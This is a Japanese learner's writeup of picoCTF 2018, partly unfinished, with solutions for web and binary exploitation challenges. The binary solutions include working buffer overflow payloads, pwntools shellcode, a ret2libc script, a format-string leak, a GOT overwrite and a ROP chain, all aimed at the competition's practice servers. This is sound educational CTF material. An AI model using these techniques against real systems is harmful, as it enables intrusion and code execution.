はじめに
CTFに取り組み始めて2ヶ月経ったくらいです。
picoCTF2018に初参加しました。
大会終了時のスコアは8,000点をちょっと超え、1,040位台でした。1,000位は切りたかったな。。
今回初めてwriteupを書きます。
なお、大会終了後も公式サイトに登録して試すことができます。
※書きかけです。順次更新していきます。
環境
macOS High Sierra
virtual box (Ubuntu 16.04)
writeups
他の方が既に書いている場合、リンクを書いています。
Forensics
Forensics Warmup 1 - Points: 50 Forensics
Forensics Warmup 2 - Points: 50 Forensics
Desrouleaux - Points: 150 Forensics
Reading Between the Eyes - Points: 150 Forensics
Recovering From the Snap - Points: 150 Forensics
admin panel - Points: 150 Forensics
now you don't - Points: 200 Forensics
hex editor - Points: 150 Forensics
Truly an Artist - Points: 200 Forensics
Ext Super Magic - Points: 250 Forensics
Lying Out - Points: 250 Forensics
What's My Name? - Points: 250 Forensics
core - Points: 350 Forensics
Malware Shops - Points: 400 Forensics
LoadSomeBits - Points: 550 Forensics
General Skills
General Warmup 1 - Points: 50 General Skills
General Warmup 2 - Points: 50 General Skills
General Warmup 3 - Points: 50 General Skills
grep 1 - Points: 75 General Skills
net cat - Points: 75 General Skills
Resources - Points: 50 General Skills
strings - Points: 100 General Skills
pipe - Points: 110 General Skills
grep 2 - Points: 125 General Skills
Aca-Shell-A - Points: 150 General Skills
environ - Points: 150 General Skills
ssh-keyz - Points: 150 General Skills
what base is this? - Points: 200 General Skills
you can't see me - Points: 200 General Skills
absolutely relative - Points: 250 General Skills
in out error - Points: 275 General Skills
learn gdb - Points: 300 General Skills
roulette - Points: 350 General Skills
store - Points: 400 General Skills
script me - Points: 500 General Skills
Dog or Frog - Points: 900 General Skills
Reversing
Reversing Warmup 1 - Points: 50 Reversing
Reversing Warmup 2 - Points: 50 Reversing
quackme - Points: 200 Reversing
assembly-0 - Points: 150 Reversing
assembly-1 - Points: 200 Reversing
be-quick-or-be-dead-1 - Points: 200 Reversing
assembly-2 - Points: 250 Reversing
be-quick-or-be-dead-2 - Points: 275 Reversing
Radix's Terminal - Points: 400 Reversing
assembly-3 - Points: 400 Reversing
keygen-me-1 - Points: 400 Reversing
Cryptography
Crypto Warmup 1 - Points: 75 Cryptography
Crypto Warmup 2 - Points: 75 Cryptography
HEEEEEEERE'S Johnny! - Points: 100 Cryptography
caesar cipher 1 - Points: 150 Cryptography
hertz - Points: 150 Cryptography
blaise's cipher - Points: 200 Cryptography
caesar cipher 2 - Points: 250 Cryptography
rsa-madlibs - Points: 250 Cryptography
Magic Padding Oracle - Points: 450 Cryptography
Web Exploitation
Inspect Me - Points: 125 Web Exploitation
Client Side is Still Bad - Points: 150 Web Exploitation
Logon - Points: 150 Web Exploitation
Irish Name Repo - Points: 200 Web Exploitation
Mr. Robots - Points: 200 Web Exploitation
Solve
Do you see the same things I see? The glimpses of the flag hidden away? http://2018shell1.picoctf.com:15298
Hints
What part of the website could tell you where the creator doesn't want you to look?
方針
HTMLを見て特に問題も無いしwiresharkでパケットを見てもヒントなし。。
題名のMr. Robotsはドラマの名前ですが、、・・・ロボット!
writeup
Mr. Robots → ロボット → robots.txt という連想で、
http://2018shell1.picoctf.com:15298/robots.txt
にアクセス。
User-agent: *
Disallow: /c4075.html
でフラグゲット。
No Login - Points: 200 Web Exploitation
Secret Agent - Points: 200 Web Exploitation
Buttons - Points: 250 Web Exploitation
The Vault - Points: 250 Web Exploitation
Artisinal Handcrafted HTTP 3 - Points: 300 Web Exploitation
Solve
We found a hidden flag server hiding behind a proxy, but the proxy has some... interesting ideas of what qualifies someone to make HTTP requests. Looks like you'll have to do this one by hand. Try connecting via nc 2018shell1.picoctf.com 33281, and use the proxy to send HTTP requests to flag.local
. We've also recovered a username and a password for you to use on the login page: realbusinessuser
/potoooooooo
.
Hints
Be the browser. When you navigate to a page, how does your browser send HTTP requests? How does this change when you submit a form?
方針とwriteup
参考writeupに書いてあるとおりです。
ブラウザでは直接アクセスできないので nc(netcat)をターミナルから叩いて、webブラウザになった気分でHTTPのメソッドを手打ちしていきます。
途中user/passが求められますが、それはSolveにある通りのものを使います。
・・・基本的なHTTPの通信も手打ちだと大変だ。。。
Flaskcards - Points: 350 Web Exploitation
Solve
We found this fishy website for flashcards that we think may be sending secrets. Could you take a look?
Hints
・Are there any common vulnerabilities with the backend of the website?
・Is there anywhere that filtering doesn't get applied?
・The database gets reverted every 2 hours so your session might end unexpectedly. Just make another user
方針とwriteup
flashcard(フラッシュカード)と題名にある Flask というweb frameworkがかかっています。
Flask
まずアクセスして普通にアカウントを作り、ログインします。
「Create Card」をクリック
「Question」に"aaa"、「answer」に"{{1+1}}"を入力し、Createします。
「List Cards」をクリック
answerをみると、「2」と表示されています。
つまり、{{1+1}}が評価されたということ。
なので同様の手順でサーバのconfig情報をダンプさせる、{{config}}を入力してフラグゲットです。
fancy-alive-monitoring - Points: 400 Web Exploitation
Secure Logon - Points: 500 Web Exploitation
Help Me Reset 2 - Points: 600 Web Exploitation
A Simple Question - Points: 650 Web Exploitation
LambDash 3 - Points: 800 Web Exploitation
Binary Exploitation
buffer overflow 0 - Points: 150 Binary Exploitation
Solve
Let's start off simple, can you overflow the right buffer in this program to get the flag? You can also find it in /problems/buffer-overflow-0_1_316c391426b9319fbdfb523ee15b37db on the shell server. Source.
Hints
How can you trigger the flag to print?
If you try to do the math by hand, maybe try and add a few more characters. Sometimes there are things you aren't expecting.
void sigsegv_handler(int sig) {
fprintf(stderr, "%s\n", flag);
fflush(stderr);
exit(1);
}
void vuln(char *input){
char buf[16];
strcpy(buf, input);
}
方針
単純にオーバーランさせればSIGSEGVが飛んできて、ハンドラ(sigsegv_handler)が実行、フラグが表示されます。
writeup
shellにログインして、以下を実行すればOKです。
./vuln `python -c "print 'a'*(100)"`
SIGSEGVが発生するだけオーバーランさせればよいので、今回100文字にしましたが50文字でもOKでした。
buffer overflow 1 - Points: 200 Binary Exploitation
Solve
Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_4_9d46ad1b74894db5d4831b91e19ee709 on the shell server. Source.
Hints
This time you're actually going to have to control that return address!
Make sure you consider Big Endian vs Little Endian.
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
puts("Please enter your string: ");
vuln();
return 0;
}
方針
win()の中でflag.txtを読んで、printfしていますが、win()がどこからも呼び出されていません。
問題名にある通り、バッファオーバーフローを使ってwin()を無理やり呼び出すのが基本方針となります。
- win()のアドレスを知る
- vuln()の中、gets()で入力を得るが、bufの先頭アドレスからRETURNアドレスの格納位置までのバイト数を知る
- 標準入力からwin()のアドレスを打ち込む方法
が必要となります。
writeup
idaでアセンブラを見てみます。
win()のアドレスは 0x080485CB とわかります。・・・(1)
vuln()の中のスタックを書き出すと下図となります。
eaxがgets()の引数として与えられ、そのアドレスに標準入力から値が入れられます。
gets()でbuf[]の先頭アドレスから44Byte(=32+8+4)目がRETURNアドレスとなることがわかります。・・・(2)
さて、標準入力からどのようにwin()のアドレスを入れるかというと、pythonのpwn packageのp32()を使います。・・・(3)
(1)と(2)で得られた情報を用いると以下となります。
python -c "from pwn import *; print 'a'*(32+12)+p32(0x080485cb)" | ./vuln
leak-me - Points: 200 Binary Exploitation
Problem
Can you authenticate to this service and get the flag? Connect with nc 2018shell1.picoctf.com 57659. Source.
Hints
Are all the system calls being used safely?
Some people can have reallllllly long names you know..
int main(int argc, char **argv){
// real pw:
FILE *file;
char password[64];
char name[256];
char password_input[64];
memset(password, 0, sizeof(password));
memset(name, 0, sizeof(name));
memset(password_input, 0, sizeof(password_input));
printf("What is your name?\n");
fgets(name, sizeof(name), stdin); ・・・(1)
char *end = strchr(name, '\n');
if (end != NULL) {
*end = '\x00';
}
strcat(name, ",\nPlease Enter the Password."); ・・・(2)
file = fopen("password.txt", "r");
if (file == NULL) {
printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(password, sizeof(password), file); ・・・(3)
printf("Hello ");
puts(name); ・・・(4)
fgets(password_input, sizeof(password_input), stdin); ・・・(5)
password_input[sizeof(password_input)] = '\x00';
if (!strcmp(password_input, password)) {
flag(); ・・・(6)
}
else {
printf("Incorrect Password!\n");
}
return 0;
}
方針
password[]の中にフラグが入るので、これを表示させたい。
標準入力から入力できるのはname[]とpassword_input[]です((1)と(5))。
この変数への入力をオーバーランさせ、password[]の中を表示させるんでしょうね。
name[]とpassword_input[]どちらを使うかですが、password_input[]の方は(5)を見るとfgets()を用い、バッファの大きさは sizeof(password_input) で規定されているため、オーバーランできません。よってname[]の方を狙います。
writeup
char password[64];
char name[256];
fgets(name, sizeof(name), stdin);
char *end = strchr(name, '\n');
if (end != NULL) {
*end = '\x00';
}
name[]をオーバーランさせるため、"aaa...aaa1"を入力します。ここで a は250文字分繰り返します。
入力直後は以下のようなメモリの状態となります
249 | 250 | 251 | 252 | 253 | 254 | 255 | |
---|---|---|---|---|---|---|---|
name[] | 'a' | '1' | '\n' | 0 | 0 | 0 | 0 |
0 | 1 | 2 | 3 | 4 | 5 | 6 | |
---|---|---|---|---|---|---|---|
password[] | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
次になぜか入力したname[]に文字列を連結させています。
strcat(name, ",\nPlease Enter the Password.");
249 | 250 | 251 | 252 | 253 | 254 | 255 | |
---|---|---|---|---|---|---|---|
name[] | 'a' | '1' | ',' | '\n' | 'P' | 'l' | 'e' |
0 | 1 | 2 | 3 | 4 | 5 | 6 | |
---|---|---|---|---|---|---|---|
password[] | 'a' | 's' | 'e' | ' ' | 'E' | 'n' | 't' |
これで無事name[]をオーバーランしてpassword[]の領域に侵入できました。
このあと(3)でflagの値が password[] にセットされます。
最後に(4)で puts(name); とされますが、name[]の中ではnull terminateされていないので、文字列はpassword[]の中まで表示されます。
$ nc 2018shell1.picoctf.com 57659
What is your name?
aaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaab1
Hello aaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaabaaaaaaaaab1,
Plea_reAllY_s3cuRe_p4s$word_56b977
(目印にbも入れ込んでいます)。",Ple"までが name[]。それ以降がpassword[]です。
これでパスワードが入手できました。
一度 CTRL-C でncを抜け、再び入り、入手したパスワードを入力するとフラグが手に入ります。
$ nc 2018shell1.picoctf.com 57659
What is your name?
aaa
Hello aaa,
Please Enter the Password.
a_reAllY_s3cuRe_p4s$word_56b977
picoCTF{...}
shellcode - Points: 200 Binary Exploitation
Solve
This program executes any input you give it. Can you get a shell? You can find the program in /problems/shellcode_3_09e0c5074980877d900d65c545d1e127 on the shell server. Source.
Hints
Maybe try writing some shellcode?
You also might be able to find some good shellcode online.
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
char buf[BUFSIZE];
puts("Enter a string!");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
return 0;
}
方針
buf[]にシェルを立ち上げるコードを挿入、実行する。
そのために以下のpwntoolsを使ったpythonコードを実行させます.
from pwn import *
sh = process('./vuln')
sh.sendlineafter('!\n', asm(shellcraft.i386.linux.sh()))
sh.interactive()
Pwntoolsの機能と使い方まとめ【日本語】
https://qiita.com/8ayac/items/12a3523394080e56ad5a
writeup
シェルに入って上記pythonコードを実行し、vuln プロセスにシェルコードを送り込み実行。シェル中でフラグを読みます。
$ python
Python 2.7.12 (default, Dec 4 2017, 14:50:18)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> sh = process('./vuln')
[x] Starting local process './vuln'
[+] Starting local process './vuln': pid 1634724
>>> sh.sendlineafter('!\n', asm(shellcraft.i386.linux.sh()))
'Enter a string'
>>> sh.interactive()
[*] Switching to interactive mode
jhh///sh/binh4$ri1QjYQ1j
X̀
Thanks! Executing now...
ls -la
total 776
drwxr-xr-x 2 root root 4096 Sep 28 08:11 .
drwxr-x--x 576 root root 53248 Sep 30 03:45 ..
-r--r----- 1 hacksports shellcode_3 34 Sep 28 08:11 flag.txt
-rwxr-sr-x 1 hacksports shellcode_3 725408 Sep 28 08:11 vuln
-rw-rw-r-- 1 hacksports hacksports 562 Sep 28 08:11 vuln.c
cat flag.txt
picoCTF{...}
buffer overflow 2 - Points: 250 Binary Exploitation
Solve
Alright, this time you'll need to control some arguments. Can you get the flag from this program? You can find it in /problems/buffer-overflow-2_1_63b4b691601811c553a7c19e367737b9 on the shell server. Source.
Hints
Try using gdb to print out the stack once you write to it!
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xDEADBEEF)
return;
if (arg2 != 0xDEADC0DE)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
puts("Please enter your string: ");
vuln();
return 0;
}
方針
これも buffer overflow 1 と同じく vuln()の戻りアドレスをwin()にしつつ、今度は引数が2つ必要です。
writeup
idaでwin()のアドレスを調べると 0x080485CB です。
vuln()の戻りアドレスの場所をidaで探します。
from pwn import *;
print 'a'*(100+12)
+p32(0x080485cb)
+'P'*4
+p32(0xDEADBEEF)
+p32(0xDEADC0DE)
'P'*4 は、win()を呼び出した戻りアドレスになります。ここは何でもいいので'PPPP'で埋めています。
あとはシェルで送り込みます。
$ ls -la
total 72
drwxr-xr-x 2 root root 4096 Sep 28 07:38 .
drwxr-x--x 576 root root 53248 Sep 30 03:45 ..
-r--r----- 1 hacksports buffer-overflow-2_1 35 Sep 28 07:38 flag.txt
-rwxr-sr-x 1 hacksports buffer-overflow-2_1 7708 Sep 28 07:38 vuln
-rw-rw-r-- 1 hacksports hacksports 793 Sep 28 07:38 vuln.c
$ cat flag.txt
cat: flag.txt: Permission denied
$ python -c "from pwn
import *; print 'a'*(100+12)+p32(0x080485cb)+'P'*4+p32(0xDEADBEEF)+p32(0xDEADC0DE)" | ./vuln
Please enter your string:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
˅PPPPᆳ-
picoCTF{...}Segmentation fault (core dumped)
got-2-learn-libc - Points: 250 Binary Exploitation
Solve
This program gives you the address of some system calls. Can you get a shell? You can find the program in /problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833 on the shell server. Source.
Hints
try returning to systems calls to leak information
don't forget you can always return back to main()
方針
ソースを見るとvuln()の中でgets()しているのでバッファーオーバーフローを使うのだろうと気付きます。
'/bin/sh'という文字列がuseful_stringという変数に格納されているので、system(useful_string) を呼び出すのでしょう.
#define BUFSIZE 148
#define FLAGSIZE 128
char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */
void vuln(){
char buf[BUFSIZE];
puts("Enter a string:");
gets(buf);
puts(buf);
puts("Thanks! Exiting now...");
}
int main(int argc, char **argv){
puts("Here are some useful addresses:\n");
printf("puts: %p\n", puts);
printf("fflush %p\n", fflush);
printf("read: %p\n", read);
printf("write: %p\n", write);
printf("useful_string: %p\n", useful_string);
printf("\n");
vuln();
return 0;
}
writeup
まず、system() のアドレスがわからないので調べますが、ASLRでアドレスが実行のたびに変わることに対応します。
ASLRではアドレスが変わりますが、glibcの中で相対的な位置は変わらないので、ソース中現れる、puts()の位置からのsystem()の相対アドレスを調べます.
$ cd /problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833
$ gdb ./vuln
(gdb) start
(gdb) p system
$1 = {<text variable, no debug info>} 0xf75b2940 <system>
(gdb) p puts
$2 = {<text variable, no debug info>} 0xf75d7140 <puts>
(gdb)
0xf75d7140-0xf75b2940=0x24800=149504
puts()のアドレスから 149504 Byte離れた位置にsystem()があることがわかりました。
次に buffer overflow で塗りつぶす関数の戻りアドレスや、system()を呼ぶときの引数のアドレスを調べます。
idaでアセンブラを見つつスタックの様子を書き出すと下図のようになります。
vuln()の中、 gets(buf) で buf[] にバッファに値を入れられます。
これで情報が揃いました。
ではpythonのpwnツールを使い、アタックします.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
user = 'ユーザー名'
pw = 'パスワード'
# SSH で接続し、directoryを変更.
s = ssh(host = '2018shell1.picoctf.com', user=user, password=pw)
s.set_working_directory('/problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833')
# vulnを実行
p = s.process('./vuln')
offset = -149504
# 指定した文字列が来るまで待つ.それまでに受信した文字列を保持する.
'''
$ ./vuln
Here are some useful addresses: [0]
[1]
puts: 0xf7630140 [2]
fflush 0xf762e330 [3]
read: 0xf76a5350 [4]
write: 0xf76a53c0 [5]
useful_string: 0x565f9030 [6]
[7]
Enter a string: [8]
aaa
aaa
Thanks! Exiting now...
'''
lines = p.recvuntil('Enter a string:').split('\n')
print lines
puts = int(lines[2].split(':')[1].strip()[2:], 16)
useful = int(lines[6].split(':')[1].strip()[2:], 16)
log.info('Puts in: 0x{:x}'.format(puts))
log.info('Useful string in: 0x{:x}'.format(useful))
system = puts + offset
payload = 'A' * (148+8+4)+p32(system)+'XXXX'+p32(useful)
p.sendline(payload)
p.recv()
p.sendline('ls -l')
p.sendline('cat flag.txt')
p.sendline('exit')
print p.recvall()
実行するとコンソールは以下のようになります。
$ ./test.py
[+] Connecting to 2018shell1.picoctf.com on port 22: Done
[*] xxx@2018shell1.picoctf.com:
Distro Ubuntu 16.04
OS: linux
Arch: amd64
Version: 4.4.0
ASLR: Enabled
[*] Working directory: '/problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833'
[+] Starting remote process './vuln' on 2018shell1.picoctf.com: pid 1303146
['Here are some useful addresses:', '', 'puts: 0xf766f140', 'fflush 0xf766d330', 'read: 0xf76e4350', 'write: 0xf76e43c0', 'useful_string: 0x56585030', '', 'Enter a string:']
[*] Puts in: 0xf766f140
[*] Useful string in: 0x56585030
[+] Receiving all data: Done (452B)
[*] Stopped remote process 'vuln' on 2018shell1.picoctf.com (pid 1303146)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@\xa9d?XXXX0PXV
Thanks! Exiting now...
$ total 16
-r--r----- 1 hacksports got-2-learn-libc_1 37 Sep 28 07:42 flag.txt
-rwxr-sr-x 1 hacksports got-2-learn-libc_1 7856 Sep 28 07:42 vuln
-rw-rw-r-- 1 hacksports hacksports 843 Sep 28 07:42 vuln.c
$ picoCTF{xxx}
$
フラグが得られました.
echooo - Points: 300 Binary Exploitation
Solve
This program prints any input you give it. Can you leak the flag? Connect with nc 2018shell1.picoctf.com 46960. Source.
Hints
If only the program used puts...
方針
flag[]を読みたいが、入力はバッファーの大きさで制限されているためバッファーオーバーフローは使えない。
printf(buf); となっているので、「フォーマット文字列攻撃」を使います。
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
char buf[64];
char flag[64];
char *flag_ptr = flag;
FILE *file = fopen("flag.txt", "r");
fgets(flag, sizeof(flag), file);
while(1) {
printf("> ");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
return 0;
}
writeup
printf("%8$s");
とすると、「printfの8番目の引数を文字列として表示」という指定になります。
%<引数の何番目か>$<フォーマット>
という見たこともない書式です。これでスタックの値を表示できます。
$ nc 2018shell1.picoctf.com 46960
Time to learn about Format Strings!
We will evaluate any format string you give us with printf().
See if you can get the flag!
> %8$s
picoCTF{XXXX}
何番目の引数に狙った値が出るのかはアセンブラを読み解くか、探るかします。
printf("%1$s");
printf("%2$s");
printf("%3$s");
・・・
printf("%8$s");
狙った文字列が出た!とやります。
flag_ptr が指す先を出力しています。
こんな攻撃があるとは知りませんでした。。
防止策は、
printf(buf);
↓
printf("%s", buf);
とすることです。printfにバッファを直接入れるのはNGですね。
got-shell? - Points: 350 Binary Exploitation
Solve
Can you authenticate to this service and get the flag? Connect to it with nc 2018shell1.picoctf.com 46464. Source(auth.c)
Hints
Ever heard of the Global Offset Table?
void win() { // ・・・ (1)
system("/bin/sh");
}
int main(int argc, char **argv) {
char buf[256];
unsigned int address;
unsigned int value;
puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
scanf("%x", &address); // ・・・(2)
sprintf(buf, "Okay, now what value would you like to write to 0x%x", address);
puts(buf);
scanf("%x", &value); // ・・・(3)
sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address);
puts(buf);
*(unsigned int *)address = value; // ・・・(4)
puts("Okay, exiting now...\n"); // ・・・(5)
exit(1);
}
方針
win()関数(1)を呼び出せばshellが起動できることはわかりますが、問題はどうやってwin()を呼び出すか、です。
標準入力から入力を得る、scanf()が2箇所(2)と(3)にあります。
しかしフォーマットがいずれも"%x"なので4Byte以上は書き込めません。つまりバッファーオーバーフローできない。。
問題名やヒントを見るとGOT(Global Offset Table)とあります。
GOTの解説を読んでみます。(リンク)
書籍では ハロー“Hello, World” OSと標準ライブラリのシゴトとしくみ にもわかりやすく書いています。
Cレベルでputs()を呼び出す。→ 実はアセンブラレベルでは puts@plt() を呼び出している → PLT(procedure linkage table)が呼ばれる → GOTを引き、puts()本体のアドレスを取り出し、ジャンプ。→ puts()が呼ばれる。
という流れになります。図示すると以下です。
このGOTの中にあるputs()のアドレスを、win()のものに書き換えれば良さそうです(4),(5)。
なお、GOTの中にあるアドレスは一番最初にその関数が呼び出された時に設定されます。
gdbで追っていくとわかりやすいです。下図とgdbの結果を書きましたので見比べてください。
gdb-peda$ x/3i 0x80483d0
0x80483d0 <puts@plt>: jmp DWORD PTR ds:0x804a00c
0x80483d6 <puts@plt+6>: push 0x0
0x80483db <puts@plt+11>: jmp 0x80483c0
gdb-peda$ x/wx 0x804a00c
0x804a00c: 0x080483d6 // ここがGOTの中身。
gdb-peda$ x/3i 0x80483d0
0x80483d0 <puts@plt>: jmp DWORD PTR ds:0x804a00c
0x80483d6 <puts@plt+6>: push 0x0
0x80483db <puts@plt+11>: jmp 0x80483c0
gdb-peda$ x/wx 0x804a00c
0x804a00c: 0xf7e68140 // ここがGOTの中身。書き換わっている。
writeup
win()のアドレス、puts()のGOTのアドレスはidaでアセンブラを見ればわかります。
もちろんgdbで追っていってもわかります。
ソースコード中、(4)でGOTがputs()からwin()のアドレスに変わり、(5)でputs()を呼び出すとwin()が呼び出されてシェル起動です。
from pwn import *
putsGOT = '0804a00c'
winAddr = '0804854b'
sh = remote('2018shell2.picoctf.com', 46464)
sh.sendlineafter('?\n', putsGOT)
sh.sendlineafter('\n', winAddr)
sh.interactive()
シェルの中で $ls して、 $ cat flag.txt すればフラグゲットです。
なお、下記コードではだめでした。。なぜだろう。。?
from pwn import *
putsGOT = 0x0804a00c
winAddr = 0x0804854b
sh = remote('2018shell2.picoctf.com', 46464)
sh.sendlineafter('?\n', p32(putsGOT))
sh.sendlineafter('\n', p32(winAddr))
sh.interactive()
rop chain - Points: 350 Binary Exploitation
Solve
Can you exploit the following program and get the flag? You can findi the program in /problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d on the shell server? Source(rop.c).
Hints
Try and call the functions in the correct order!
Remember, you can always call main() again!
#define BUFSIZE 16
bool win1 = false;
bool win2 = false;
void win_function1() {
win1 = true;
}
void win_function2(unsigned int arg_check1) {
if (win1 && arg_check1 == 0xBAAAAAAD) {
win2 = true;
}
else {
//だめ
}
}
void flag(unsigned int arg_check2) {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
fgets(flag, sizeof(flag), file);
if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
printf("%s", flag);
return;
}
else {
//だめ
}
}
void vuln() {
char buf[16];
printf("Enter your input> ");
return gets(buf);
}
int main(int argc, char **argv){
vuln();
}
方針
ropというのはReturn-Oriented Programmingのことです。
バッファーオーバーフローでRETURNアドレスを書き換えますが、それだけではなく、複雑な関数コールを設計します。
ソース(rop.c)を読むと、フラグを表示するまでに win_function1()→win_function2()→flag() の順で呼ぶ必要があります。
バッファーオーバーフローを仕掛けられる場所は vuln() の中のgets()のみです。
ここでバッファーオーバーフローさせ、win_function1()→win_function2()→flag() の順で呼ぶようスタックフレームを作り上げます。
writeup
いままで見てきたようにスタックフレームは、戻りアドレス、引数(右から左へ)と積む構成になっています。(呼び出し規約がcdeclの場合)
vuln()のgets()への引数を確認します。
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
0x08048714 <+0>: push ebp
0x08048715 <+1>: mov ebp,esp
0x08048717 <+3>: sub esp,0x18
0x0804871a <+6>: sub esp,0xc
0x0804871d <+9>: push 0x804896f
0x08048722 <+14>: call 0x8048420 <printf@plt>
0x08048727 <+19>: add esp,0x10
0x0804872a <+22>: sub esp,0xc
0x0804872d <+25>: lea eax,[ebp-0x18] ; ・・・ ★
0x08048730 <+28>: push eax
0x08048731 <+29>: call 0x8048430 <gets@plt>
0x08048736 <+34>: add esp,0x10
0x08048739 <+37>: leave
0x0804873a <+38>: ret
End of assembler dump.
★のところが引数になります。図示すると以下になります。
これをバッファーオーバーフローさせ、下図のようにスタックフレームを構成します。
これを実現するため、サーバにログインし、以下を実行するとフラグが得られます。
$ python -c "from pwn import *; print 'A'*28+p32(0x080485cb)+p32(0x080485d8)+p32(0x0804862b)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)"|./rop
Enter your input> picoCTF{XXX}
Segmentation fault (core dumped)
ではこのスタックフレームでどうやって動くのかをひとつひとつ解説していきます。
vuln()の中でバッファーオーバーフローさせ、関数を抜けるところからです。
アセンブラを見ると関数を抜けるところは、leave; ret; ですね。
これで win_function1()が実行されました。
アセンブラは以下になります。
gdb-peda$ disassemble win_function1
Dump of assembler code for function win_function1:
0x080485cb <+0>: push ebp
0x080485cc <+1>: mov ebp,esp
0x080485ce <+3>: mov BYTE PTR ds:0x804a041,0x1
0x080485d5 <+10>: nop
0x080485d6 <+11>: pop ebp
0x080485d7 <+12>: ret
End of assembler dump.
win_function2()が呼び出されました。
アセンブラは以下です。引数へのアクセスと関数から抜けるところを確認します。
gdb-peda$ disassemble win_function2
Dump of assembler code for function win_function2:
0x080485d8 <+0>: push ebp
0x080485d9 <+1>: mov ebp,esp
略
0x080485e9 <+17>: cmp DWORD PTR [ebp+0x8],0xbaaaaaad
略
0x08048629 <+81>: leave
0x0804862a <+82>: ret
End of assembler dump.
確かに引数は狙い通りの値(0xbaaaaaad)となっています。
関数を抜けるところは下図です。
flag()が呼び出されました。
アセンブラは以下です。
gdb-peda$ disassemble flag
Dump of assembler code for function flag:
0x0804862b <+0>: push ebp
0x0804862c <+1>: mov ebp,esp
略
0x08048693 <+104>: cmp DWORD PTR [ebp+0x8],0xdeadbaad
略
0x08048712 <+231>: leave
0x08048713 <+232>: ret
End of assembler dump.
同様に引数へのアクセスと、関数から抜けるところを図示します。
確かに引数は狙い通りの 0xdeadbaad にアクセスしています。
flag()からの戻りアドレスはwin_function2()の引数に設定した値になっています。なのでflag()から抜けるとフォルトするはずです(実際フォルトしてコアダンプしてます)。
戻りアドレス、引数の積み方をみるとropはどんな関数でも、どんな順序でも呼べるわけではないですね。。
authenticate - Points: 350 Binary Exploitation
Solve
Can you authenticate to this service and get the flag? Connect with nc 2018shell1.picoctf.com 52398. Source.
Hints
What happens if you say something OTHER than yes or no?
方針
int authenticated = 0; // ・・・(1)
int flag() {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
fgets(flag, sizeof(flag), file);
printf("%s", flag); // ・・・(2)
return 0;
}
void read_flag() {
if (!authenticated) { // ・・・(3)
printf("Sorry, you are not *authenticated*!\n");
}
else {
printf("Access Granted.\n");
flag(); // ・・・(4)
}
}
int main(int argc, char **argv) {
char buf[64];
printf("Would you like to read the flag? (yes/no)\n");
fgets(buf, sizeof(buf), stdin); // ・・・(5)
if (strstr(buf, "no") != NULL) {
printf("Okay, Exiting...\n");
exit(1);
}
else if (strstr(buf, "yes") == NULL) { // ・・・(6)
puts("Received Unknown Input:\n");
printf(buf); // ・・・ (7)
}
read_flag(); // ・・・(8)
}
フラグが表示される道筋は、(8)→(3)→(4)→(2)です。
外部変数の authenticated (1)の値が0以外とならなければ(4)に到達できません。
